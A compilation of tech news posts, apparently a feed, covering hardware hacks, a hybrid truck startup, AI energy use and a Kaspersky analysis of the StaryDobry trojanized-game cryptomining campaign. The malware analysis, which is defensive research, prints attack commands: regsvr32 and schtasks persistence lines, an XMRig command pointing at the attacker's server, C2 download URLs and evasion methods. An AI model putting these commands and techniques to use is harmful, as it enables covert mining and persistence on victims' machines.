– and creating software that takes advantage of the sculptural nature of the light installation.

Niklas Roy
Vectors, Pixels, Plotters and Public Participation

In his talk, Niklas will highlight some of his latest projects that use DIY machines to involve communities in creating art together. From a graffiti robot to a giant mosaic that was designed by an entire neighborhood with the help of a mobile arcade machine, he’ll share the stories behind his inventions. He will discuss his sources of inspiration, the creative process and thoughts about inclusiveness guiding the development of the machines, and the joy of watching diverse people interact with and contribute to these unconventional art pieces.

Daniel Büchele and Andre Zibell
Developing a NFC-based decentralized payment system for a music festival

For a small volunteer-run music festival we designed and built a custom decentralized NFC payment system. Due to the nature of the festival, the design of the system and hardware had some unique requirements: It had to be fully decentralized and not rely on network connection, which created some interesting security challenges. We also developed custom hardware terminals (based on ESP32) to be used at point-of-sale.

Andy Geppert, Anders Nielsen, and Pierre Muth
The Core64 – NeonPixels – 65uino collaboration

Join us to learn how three unique Hackaday projects came together to create something new for 1975, thanks to international collaboration. (Yes, that’s 50 years ago!)

Alun Morris
Half-size Hacking: 0.05″ Matrix Boards Under the Microscope

How do you make a prototype really tiny without designing a PCB? What you need to get started. How do you connect to standard modules with 0.1″ headers? And the world’s smallest multi-channel voltmeter.

Daniel Dakhno
Hacking a pinball machine

This talk explains how we modernized a classic pinball machine by replacing the mechanical guts with a Raspberry Pi, multiple STM32, and a CAN bus, creating infrastructure that can be exploited far beyond the realm of our project.

hackaday.com/2025/02/18/hackad…

The current Edison Motors semi-truck prototype. (Credit: Edison Motors)
Canadian start-up Edison Motors may not seem like much at first glance — consisting of fewer than two dozen people in a large tent — but their idea of bringing series hybrid technology to semi-trucks may just have wheels. The concept and Edison Motors’ progress is explained in a recent video by The Drive on Youtube, starting off with the point that diesel-electric technology is an obvious fit for large trucks like this. After all, it works for trains.

In a series hybrid, there are two motors: a diesel generator and an electric motor (diesel-electric). This was first used in ships in the 1900s and would see increasing use in railway locomotives starting in the early 20th century. In the case of Edison Motors’ current prototype design there is a 9.0 liter Scania diesel engine which is used solely as a generator at a fixed RPM. This is a smaller engine than the ~15 liter engine in a conventional configuration and also doesn’t need a gearbox.

Compared to a battery-electric semi-truck, like the Tesla Semi, it weighs far less. And unlike a hydrogen-fuel cell semi-truck it actually exists and doesn’t require new technologies to be invented. Instead a relatively small battery is kept charged by the diesel generator and power fed back into the battery from regenerative braking. This increases efficiency in many ways, especially in start-stop traffic, while not suffering a weight penalty from a heavy battery pack and being able to use existing service stations, and jerry cans of diesel.

In addition to full semi-trucks Edison Motors also works on conversion kits for existing semi-trucks, pick-up trucks and more. Considering how much of the North American rolling stock on its rail systems is diesel-electric, it’s more amazing that it would have taken so long for the same shift to series hybrid on its road. Even locomotives occasionally used direct-drive diesel, but the benefits of diesel-electric hybrids quickly made that approach obsolete.

youtube.com/embed/dBMguDfirgA?…

hackaday.com/2025/02/18/it-wor…

Have you yet stumbled upon the principle of “consistently applied small amounts of work can guarantee completion of large projects”? I have, and it’s worked out well for me – on days when I could pay attention to them, that is.

A couple times, I’ve successfully completed long-term projects by making sure to do only a little bit of it, but I do it every day. It helps a lot with the feeling you get when you approach a large project – say, cleaning up your desk after a few days of heavy-duty hacking. If you’re multi-discipline, and especially if you happen to use multiple desks like me, a desk can stay occupied for a while.

Can you do one minute of desk cleaning today? Sure doesn’t feel like much time, or much effort. In a week’s time, however, you might just have a clean desk. Cleaning discrete messes is where this concept applies pretty well – you couldn’t wash floors like this, but you could wipe off the dust from a few surfaces for sure.

Now, I want to make this a habit – use it on like, seven different things a day. I wrote a script to make it possible – here’s how it works for me right now.

Building Upon The Seen-Before

I relied on a few previously-discussed things for this one. Main one is the Headphone Friend project – a pocketable Linux device, streaming audio from my laptop as I walk around my room. As a reminder, the headphones also have a button that emits HID events when pressed/released, and I have a small piece of software that can map actions to combinations of short-medium-long presses of that button.

Another necessity was a bit of software – dodging my questing system “away from laptop = system breaks” mistake, I wanted to put everything into my headphones, even the task names, trying to reach a “flow” through a series of 1-minute tasks. Of course, I reused the old sound library, but I also needed TTS generation on the fly! I went for PicoTTS with a simple wrapper – it’s not the best TTS system, but it’s damn fast, and perfectly suited for a prototype.

For the button-to-action mapping script, I had to expose some sort of API, to avoid merging the button scanning code and the task switching code. After a little deliberation, I picked websockets – they work decently well, and they’re quite portable, so I could run the button monitoring itself on the Headphone Friend device, and the main software on my laptop, for prototyping purposes.

Now, the more interesting question – how do I build the algorithm?

Can Be More, Can’t Be Less

The main thing about the one-minute timers like these is that you can spend longer on the task if you really get into it, you just can’t spend less than one minute. So, the one-minute upper bound is not enforced – only the lower bound is, really, which means that a “next task” button is a requirement.

At the script’s core, I wrote a little state machine describing the “sprints”, and tied my tiny notification-sound-playback library into it. It goes through the five tasks I’ve defined, making a little “beep” after a minute has passed, and waiting for me to press the “next” keypress signaling that I’m done with the task. After five tasks are done, it stops, and waits for the “start” magic keypress sequence – maybe the next sprint is tomorrow, maybe it’s a couple days later, but I get there eventually.

So far, I’ve only had to modify the code a little bit – each task now has a name in the system, but also an actually TTS-pronounceable string, since the picoTTS model does mis-pronounce here and there. Other than that, the very simple prototype works. I’ve tried to upgrade it from picoTTS, compiling piper that can do a good few different voices and languages, but I’ve been firmly stuck on cmake intricacies so far.

Middle-Of-Project Lull

Currently, I’m starting with five tasks – kitchen counter cleaning, hardware desk cleaning, sorting the clothes (in whichever way they need sorting), and cleaning the floors in two rooms. That makes for five minutes minimum, and oftentimes, it’s really just five minutes – to me, feels like it’s important not to get into the flow too much, otherwise the five-minute blitz might become a twenty-minute one, and it gets into “kind a bother to do” mental territory.

The result is, my cooking and hacking surfaces are a little more cleaner and more ready to go on average, and it’s easier to get clothes washing done if there isn’t an unsorted pile to deal with already. I think I most enjoy the movement of it – it’s become a nice way to spend 5-10 minutes moving around the house, breaking the rut. I do need to add some sort of “stop”/”pause” mechanism – sometimes I get too involved in a particular task and could really use a break. My state machine isn’t yet involved enough for this, and maybe soon this might need an overhaul.

At the moment, I’m also looking to tie this into my questing system – I haven’t attached logging to this one yet, but since the questing system includes that, it’d be two-birds-with-one-stone approach. For the questing system, I’m still using the text file backend, which does limit things, but I’ve been meaning to add external action support to it anyway – tying task completion to quest progression is a no-brainer!

Currently, this script and I are in the honeymoon phase: it’s working but I’m waiting for it to fail in more ways, and seeing whether it survives long-term. Based on lessons I’ve been trying to pull from the questing system, I’m trying not to overstretch it – five tasks is enough. For now, it’s pretty nice to be on the island of success in a sea of older solutions that withered away. This time, I’m writing before the full end-conclusion phase, because it’s nice and reassuring when projects work out, and I’d just like to share in that a little bit.

hackaday.com/2025/02/18/hack-o…

Il consumo energetico dell’intelligenza artificiale è da tempo oggetto di dibattito. ChatGPT è stato anche oggetto di critiche più di una volta: in precedenza è stato considerato , che ogni richiesta richiede circa 3 wattora di elettricità, ovvero 10 volte il costo di una richiesta a Google. Tuttavia la nuova ricerca di Epoch AI ha smentito questa cifra.

Secondo Epoch AI, la query ChatGPT media che utilizza il modello GPT-4o consuma solo circa 0,3 wattora. Ciò significa che una domanda rivolta all’IA richiede meno elettricità rispetto alla maggior parte degli elettrodomestici domestici. Ad esempio, una lampadina LED da 10 W consuma la stessa quantità di energia in 6 minuti di funzionamento.
Confronto del consumo energetico per query in ChatGPT con elettrodomestici (Epoch AI)
La differenza nelle stime è dovuta a dati obsoleti. Studi precedenti si sono basati sul presupposto che vengano utilizzati processori server meno efficienti. Tuttavia, negli ultimi anni l’infrastruttura informatica è notevolmente migliorata: i nuovi modelli funzionano con chip più efficienti dal punto di vista energetico e gli algoritmi sono diventati meno costosi. Di conseguenza, il carico sulla rete elettrica si è rivelato molto inferiore a quanto si pensasse in precedenza.

Resta tuttavia aperta la questione del consumo energetico dell’intelligenza artificiale in futuro. Nonostante i guadagni in termini di efficienza, OpenAI e altre aziende continuano ad aumentare la loro potenza di calcolo. Secondo il rapporto di Rand, nei prossimi due anni i data center potrebbero consumare quasi tutta la capacità della rete elettrica della California del 2022 (68 GW). Entro il 2030, l’addestramento di un modello avanzato di intelligenza artificiale potrebbe consumare fino a 8 GW, l’equivalente del funzionamento di otto reattori nucleari.

Un ulteriore onere è creato dalle nuove architetture di intelligenza artificiale, in particolare dai cosiddetti modelli di ragionamento. A differenza di GPT-4o, che risponde quasi istantaneamente, tali sistemi impiegano secondi o addirittura minuti a “pensare” prima di produrre un risultato. Ciò li rende più potenti, ma aumenta anche il consumo di energia. OpenAI ha già iniziato a rilasciare versioni più efficienti dal punto di vista energetico di tali modelli, come l’o3-mini, ma gli esperti dubitano che i miglioramenti in termini di efficienza compenseranno la crescente domanda.

La questione del consumo energetico sta diventando non solo una questione tecnologica, ma anche politica. La scorsa settimana, più di 100 organizzazioni ha firmato una lettera aperta invitando gli enti regolatori a supervisionare la costruzione di nuovi data center. Si sottolinea che la crescita della potenza di calcolo potrebbe portare a una carenza di risorse energetiche e a un aumento della quota di combustibili fossili nel bilancio energetico.

Per ora, l’unico modo per ridurre il carico sulla rete elettrica è attraverso l’uso intelligente della tecnologia. Epoch AI consiglia agli utenti che desiderano ridurre al minimo la propria “impronta di carbonio digitale” di scegliere versioni dei modelli che richiedono meno risorse. Tuttavia, data la crescente popolarità dell’intelligenza artificiale, questa opzione è più temporanea che a lungo termine.

L'articolo Quanta Energia Consuma Chat-GPT di OpenAI? Lo studio di Epoch AI lo rileva proviene da il blog della sicurezza informatica.

If you’ve played any of the versions of Nintendo’s Animal Crossing over the years, you’ll know that eventually you get to the point where you’ve maxed out your virtual house and filled it with all the furniture you could possibly want — which is arguably as close to “winning” the game as you can get.

But now thanks to the work of [decrazyo] there’s a piece of furniture that you can add to your Animal Crossing house that will never get old: an x86 emulator that boots Linux. As explained in the video below, this trick leverages the fact that Nintendo had already built a highly accurate Nintendo Entertainment System (NES) emulator into Animal Crossing on the GameCube, which could be used to run a handful of classic games from within the player’s virtual living room. But it turns out that you can get that emulator to load a user-provided ROM from the GameCube’s memory card, which opens the doors to all sorts of mischief.

In this case, all [decrazyo] had to do was prepare an NES ROM that booted into Linux. That might seem like a tall order, but considering he had already worked on a port of Unix to the classic console, it’s not like he was going in blind. He identified the minimal Embeddable Linux Kernel Subset (ELKS) as his target operating system, but wanted to avoid the hassle of re-writing the whole thing for the 8-bit CPU in the NES. That meant adding another emulator to the mix.

If porting Linux to the NES sounded tough, running an x86 emulator on the console must be pure madness. But in reality, it’s not far off from several projects we’ve seen in the past. If you can boot Linux on an ATmega328 via an emulated RISC-V processor, why not x86 on the NES? In both cases, the only problem is performance: the emulated system ends up running at only a tiny fraction of real-speed, meaning booting a full OS could take hours.

As if things couldn’t get complicated enough, when [decrazyo] tried to boot the x86 emulator ROM, Animal Crossing choked. It turned out (perhaps unsurprisingly) that his ROM was using some features the emulator didn’t support, and was using twice as much RAM as normal. Some re-writes to the emulator sorted out the unsupported features, but there was no getting around the RAM limitation. Ultimately, [decrazyo] had to create a patch for Animal Crossing that doubled the memory of the in-game emulator.

Still with us? So the final setup is a patched Animal Crossing, which is running an in-game NES emulator, which is running a ROM that contains an x86 emulator, which is finally booting a minimal Linux environment at something like 1/64th normal speed. Are we having fun yet?

Despite its age and cutesy appearance, the original Animal Crossing has turned out to be a surprisingly fertile playground for hackers.

youtube.com/embed/OooHTDMUSGY?…

hackaday.com/2025/02/18/give-y…

Introduction

On December 31, cybercriminals launched a mass infection campaign, aiming to exploit reduced vigilance and increased torrent traffic during the holiday season. Our telemetry detected the attack, which lasted for a month and affected individuals and businesses by distributing the XMRig cryptominer. This previously unidentified actor is targeting users worldwide—including in Russia, Brazil, Germany, Belarus and Kazakhstan—by spreading trojanized versions of popular games via torrent sites.

In this report, we analyze how the attacker evades detection and launches a sophisticated execution chain, employing a wide range of defense evasion techniques.

Kaspersky’s products detect this threat as
Trojan.Win64.StaryDobry.*, Trojan-Dropper.Win64.StaryDobry.*, HEUR:Trojan.Win64.StaryDobry.gen.

Initial infection

On December 31, while reviewing our telemetry, we first detected this massive infection. Further investigation revealed that the campaign was initially distributed via popular torrent trackers. Trojanized versions of popular games—such as BeamNG.drive, Garry’s Mod, Dyson Sphere Program, Universe Sandbox, and Plutocracy—were designed to launch a sophisticated infection chain, ultimately deploying a miner implant. These malicious releases were created in advance and uploaded around September 2024.

Infection timeline

Although the malicious releases were published by different authors, they were all cracked the same way.

Malicious torrent available for download

Among the compromised installers are popular simulator and sandbox games that require minimal disk space. Below is the distribution of affected users by game as of January 2025:

Infected users per game (download)

These releases, often referred to as “repacks”, were usually distributed in an archive. Let’s now take a closer look at one of the samples. Upon unpacking the archive, we found a trojanized installer.

Technical details

Trojanized installer

After launching the installer (a Windows 32-bit GUI executable), we were welcomed with a GUI screen showing three options: install the game, choose the language, or quit.

Installer screen

This installer was created with Inno Setup. After decompiling the installer, we examined its code and found an interesting functionality.

Decompiled installer code

This code is responsible for extracting the malicious files used in this attack. First, it decrypts unrar.dll using the DECR function, which is a proxy for the RARExtract function within the rar.dll library. RARExtract decrypts unrar.dll using AES encryption with a hard-coded key,
cls-precompx.dll. Next, additional files from the archive are dropped into the temporary directory, and execution proceeds to the RARGetDllVersion function within unrar.dll.

Unrar.dll dropper

First of all, the sample runs a series of methods to check if it’s being launched in a debugging environment. These methods search for debugger and sandbox modules injected into processes, and also check the registry and filesystem for certain popular software. If such software is detected, execution immediately terminates.

Anti-debug checks example

If the checks are passed, the malware executes cmd.exe to register unrar.dll as a command handler with regsvr32.exe. The sample attempts to query the following list of sites to determine the user’s IP address.
api.myip [.]com
ip-api [.]com
ipapi [.]co
freeipapi [.]com
ipwho [.]is
api.miip [.]my
This is done to identify the infected user’s location, specifically their country. If the malware fails to detect the IP address, it defaults the country code to
CNOrBY (meaning “China or Belarus”). Next, the sample sends a request to hxxps://pinokino[.]fun/donate_button/game_id=%s&donate_text=%s with the following substitutions:

• game_id = appended with DST_xxxx, where x represents digits. This value is passed as an argument from the installer; in this campaign, we discovered the variant DST_1448;
• donate_text = appended with the country code.

After this generic country check, the sample collects a fingerprint of the infected machine. This fingerprint consists of various parameters, forming a unique identifier as follows:
mac|machineId|username|country|windows|meminGB|numprocessors|video|game_id

This fingerprint is then encoded using URL-safe Base64 to be sent successfully over the network. Next, the malware retrieves MachineGUID from HKLM\Software\Microsoft\Cryptography and calculates its SHA256 checksum. It then collects 10 characters starting from the 20^th position (
SHA256(MachineGUID)[20:30]). This hexadecimal sequence is used as the filename for two newly created files: %SystemRoot%\%hash%.dat and %SystemRoot%\%hash%.efi. The first file contains the encoded fingerprint, while the second is an empty decoy. The creation time of the .dat file is spoofed with a random date between 01/01/2015 and 12/25/2021. This file stores the Base64-encoded fingerprint.
After this step, unrar.dll starts preparing to drop the decrypted MTX64.exe to the disk. First, it generates a new filename for the decrypted payload. The malware searches for files in %SystemRoot% or %SystemRoot%\Sysnative. If these directories are empty, the decrypted MTX64.exe is written to the disk as Windows.Graphics.ThumbnailHandler.dll. Otherwise, unrar.dll creates a new file and names it by choosing a random file from the specified directories, taking its name, trimming its extension and appending a random suffix from a predefined list. Besides suffixes, this list contains junk data, most likely added to evade signature-based detection.

Suffix list and junk data

For example, if the malware finds a file named msvc140.dll in %SystemRoot%, it removes the extension and appends the resulting
msvc140 with handler.dll (a random suffix from the list), resulting in msvc140handler.dll. The malware then writes the decrypted payload to the newly generated file in the %SystemRoot% folder.
After that, the sample opens the encrypted MTX64.exe and decrypts it using AES-128 with a hard-coded key,
cls-precompx.dll.
The loader also carries out resource spoofing. First of all, it scans the _res.rc file for DLL property names and values—such as CompanyName, FileVersion and so on—and creates a dictionary of (key, value) pairs. Then it takes a random DLL from the %SystemRoot% folder (exiting if nothing is found), extracts its property values using the VerQueryValueW WinAPI, and replaces the corresponding dictionary values. The resulting resources are embedded into the decrypted MTX64.exe DLL. This file is then saved under the name generated in the previous step. Finally, unrar.dll changes the creation time of the resulting DLL using the same spoofing method as for the fingerprint file.

Spoofed resources

The dropped DLL is installed using the following command:
cmd.exe /C "cd $system32 && regsvr32.exe /s %dropped_name%.dll"

MTX64

This DLL is based on a public project called EpubShellExtThumbnailHandler, a Windows Shell Extension Thumbnail Handler. This stage completely mimics the legitimate behavior up until the actual thumbnail handling. It gets registered as a .lnk (shortcut) file handler, so whenever a .lnk file is opened, the DLL tries to process its thumbnail. However, here the sample implements its own version of the GetThumbnail interface function, and creates a separate thread to perform its malicious activities.

First, this thread writes the current date and month in
dd-mm format to the %TEMP%\time_windows_com.ini file. This stage then retrieves MachineGUID from HKLM\SOFTWARE\Microsoft\Cryptography, calculates SHA256(MachineGUID)[20 : 30], just like unrar.dll did. After that, it checks %SystemRoot% for the .dat file with this name. The presence of this file confirms that the infection is uninterrupted, prompting the DLL to extract the fingerprint and make a query to the hard-coded threat actors’ domain in the following format, where the UID is the fingerprint’s SHA256 hash.hxxps://promouno[.]shop/check/uid=%s
The server sends back a JSON that looks like
{'code':'reg'}. After this, the DLL makes another query to the server with an additional field, data, which is the Base64-encoded fingerprint (uid remains the same):hxxps://promouno[.]shop/check/uid=%s&data=%s
Upon receiving this request, the server also sends a JSON. The malware checks its
code field, which must be equal to either 322 or 200. If it is, the sample proceeds to extract the MD5 checksum from the flmd field in the same JSON and download the next-stage payload from the following link:hxxps://promouno[.]shop/dloadm/uid=%s
Next, the sample calculates the MD5 checksum of the received payload (a kickstarter PE file), and checks this hash against the MD5 checksum from the JSON. If they match, the malware parses the PE structure to locate the Export Address Table, retrieves the
kickstarter function address, and executes it.

Kickstarter running

Kickstarter

The kickstarter PE has an encrypted blob in its resources. This stage reads the blob and stores it in a C++ vector of bytes.

Resource reading

After that, it chooses a random name for the payload using the same method as for MTX64.exe during the execution of unrar.dll. However, there is a difference: if nothing is found in %SystemRoot% or %SystemRoot%\Sysnative, it chooses Unix.Directory.IconHandler.dll as a default file name. The payload is saved to %appdata\Roaming\Microsoft\Credentials\%InstallDate%\. To locate the InstallDate directory, the DLL retrieves the system installation date from the registry subkey HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\InstallDate.

Then the blob is decrypted using the CryptoPP AES-128 implementation. The key consists of the sequence of bytes from
\x00 to \x10. The decrypted contents are written onto the disk. This executable also spoofs its resources using the same method as for MTX64.exe, after which it executes the following command:schtasks /create / tn %s /tr "regsvr32.exe /s %s" / st 00:00 /du 9999:59 / sc once / ri 1 /f
The first argument is the system installation date, while the second one is the path to the dropped DLL. A scheduled task to register a server with regsvr32.exe is created, using the first argument as its name, with a suppressed warning, set to trigger at 00:00. The loader sends a GET request to the hard-coded address
45.200.149[.]58/conf.txt, implicitly setting the request header to User-Agent: StupidSandwichAgent\r\n.
The loader then waits for a response from the server. If the response begins with act, the sample stops execution after creating the scheduled task. If the response is noactive, meaning the targeted device has not been registered previously, the sample tries to delete itself with the following command, which clears everything in the %temp% directory:

Cleanup

Unix.Directory.IconHandler.dll

Subsequently, Unix.Directory.IconHandler.dll creates a mutex named com_curruser_mttx. If this mutex has already been created, execution stops immediately. Then the DLL searches for the %TEMP%\_cache.binary file. If the sample can’t find it, it downloads the binary directly from
45.200.149[.]58 using a GET 44912.f request, with the same StupidSandwichAgent User-Agent header. This file is written to the temporary directory and then decrypted using AES-128 with the same key consisting of the \x00–\x10 byte sequence.
The sample proceeds to open the current process, look for SeDebugPrivilege in the process token, and adjust it if applicable. We believe this is done to inject code into a newly created cmd.exe process. The author chose the easiest way possible, copying the entire open source injector, including its debug strings:

Injector

After injecting the code into the command interpreter, the sample enters an endless loop, continuously checking for taskmgr.exe and procmon.exe in the list of running processes. If either process is detected, the sample is shut down.

Miner implant

This implant is a slightly modified XMRig miner executable. Instead of parsing command-line arguments, it constructs a predefined command line.
xmrig – url =45.200.149[.]58:1448 –algo= rx /0 –user=new-www –donate-level=1 –keepalive – nicehash –background –no-title –pass=x – cpu -max-threads-hint=%d
The last parameter is calculated from the CPU topology: the implant calls the GetSystemInfo API to check the number of processor cores. If there are fewer than 8, the miner does not start. Moreover, the attacker chose to host a mining pool server in their own infrastructure instead of using a public one.

XMRig parses the constructed command line using its built-in functionality. The miner also creates a separate thread to check for process monitors running in the system, using the same method as in the previous stage:

Anti-tracing

Victims

This campaign primarily targets regular users by distributing malicious repacks. Some organizations were also affected, but these seem to be compromised computers inside corporate infrastructures, rather than direct targets.

Most of the infections have been observed in Russia, with additional cases in Belarus, Kazakhstan, Germany, and Brazil.

Attribution

There are no clear links between this campaign and any previously known crimeware actors, making attribution difficult. However, the use of Russian language in the PDB suggests the campaign may have been developed by a Russian-speaking actor.

Conclusions

StaryDobry tends to be a one-shot campaign. To deliver the miner implant, the actors implemented a sophisticated execution chain that exploited users seeking free games. This approach helped the threat actors make the most out of the miner implant by targeting powerful gaming machines capable of sustaining mining activity. Additionally, the attacker’s use of DoH helped conceal communication with their infrastructure, making it harder to detect and trace the campaign.

Indicators of compromise

File hashes

15c0396687d4ff36657e0aa680d8ba42
461a0e74321706f5c99b0e92548a1986
821d29d3140dfd67fc9d1858f685e2ac
3c4d0a4dfd53e278b3683679e0656276
04b881d0a17b3a0b34cbdbf00ac19aa2
5cac1df1b9477e40992f4ee3cc2b06ed

Domains and IPs

45.200.149[.]58
45.200.149[.]146
45.200.149[.]148
hxxps://promouno[.]shop
hxxps://pinokino[.]fun

securelist.com/starydobry-camp…

Logically we understand that the other planets in the solar system, as well as humanity’s contributions to the cosmos such as the Hubble Space Telescope and the International Space Station, are zipping around us somewhere — but it can be difficult to conceptualize. Is Jupiter directly above your desk? Is the ISS currently underneath you?

If you’ve ever found yourself wondering such things, you might want to look into making something like Space Monitor. Designed by [Kevin Assen], this little gadget is able to literally point out the locations of objects in space. Currently it’s limited to the ISS and Mars, but adding new objects to track is just a matter of loading in the appropriate orbital data.

In addition to slewing around its 3D printed indicator, the Space Monitor also features a round LCD that displays the object currently being tracked, as well as the weather. Reading through the list of features and capabilities of the ESP32-powered device, we get the impression that [Kevin] is using it as a sort of development platform for various concepts. Features like remote firmware updates and the ability to point smartphones to the device’s configuration page via on-screen QR aren’t necessarily needed on a personal-use device, but its great practice for when you do eventually send one of your creations out into the scary world beyond your workbench.

If you’re interested in something a bit more elaborate, check out this impressive multi-level satellite tracker we covered back in 2018.

youtube.com/embed/6-wM_a_eX-g?…

hackaday.com/2025/02/18/space-…